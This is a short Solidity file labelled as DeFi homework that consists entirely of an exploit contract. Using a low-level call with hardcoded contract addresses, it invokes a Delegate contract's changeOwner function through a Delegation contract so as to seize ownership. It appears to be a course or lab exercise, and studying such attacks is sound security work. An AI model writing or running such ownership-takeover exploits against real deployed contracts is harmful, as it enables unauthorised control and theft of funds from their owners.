Defi Hw3

exploit_delegation.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "delegation.sol";

contract Exploit_Delegation {
    Delegation delegation;
    Delegate delegate;

    constructor() {
        delegation = Delegation(0x14BEc5f1E0113c2f0C32F10b939DE1699c3496b6);
        delegate = Delegate(0x56e3B9a9137C5DfC846560f720a3B23567925721);
    }

    function exploit() public {
        address(delegation).call(
            abi.encodeCall(
                Delegate.changeOwner, (
                    bytes32(0x000000000000000000000001c0538f7373975834b09174ae8db41fd6cc9e9056),
                    address(0xC0538F7373975834b09174ae8DB41fd6Cc9e9056)
                )
            )
        );
    }
}